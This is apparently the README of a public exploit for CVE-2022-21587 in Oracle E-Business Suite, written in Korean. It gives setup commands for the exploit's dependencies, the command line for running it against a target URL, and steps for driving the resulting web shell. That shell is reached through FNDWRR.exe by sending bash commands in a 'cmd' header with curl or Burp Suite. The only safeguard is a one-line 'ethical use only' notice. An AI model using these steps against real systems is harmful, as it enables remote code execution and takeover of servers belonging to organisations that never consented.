CVE-2022-21587-Oracle-EBS-

이 익스플로잇을 실행하기 위한 사전 요구 사항:

• python3 (모듈: requests, os, sys, slipit 포함)
• uuencode

실행 전에, 윤리적 목적으로만 사용하십시오.

익스플로잇이 실행에 실패할 경우:

• 사전 요구 모듈이 이미 설치되어 있는지 확인하십시오.

requests 설치

• pip3 install requests

• slipit 설치: git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• uuencode 설치

  • sudo apt install sharutils

• 사용법 : python3 exploit.py http://target.com

  • 그러면 셸이 나타나거나 curl 또는 웹 프록시 도구(burpsuite)를 사용하여 셸을 실행할 수 있습니다.
  • curl 사용 : curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • burpsuite 사용: 헤더 요청에 cmd를 추가하고 실행하려는 bash 페이로드를 포함하십시오.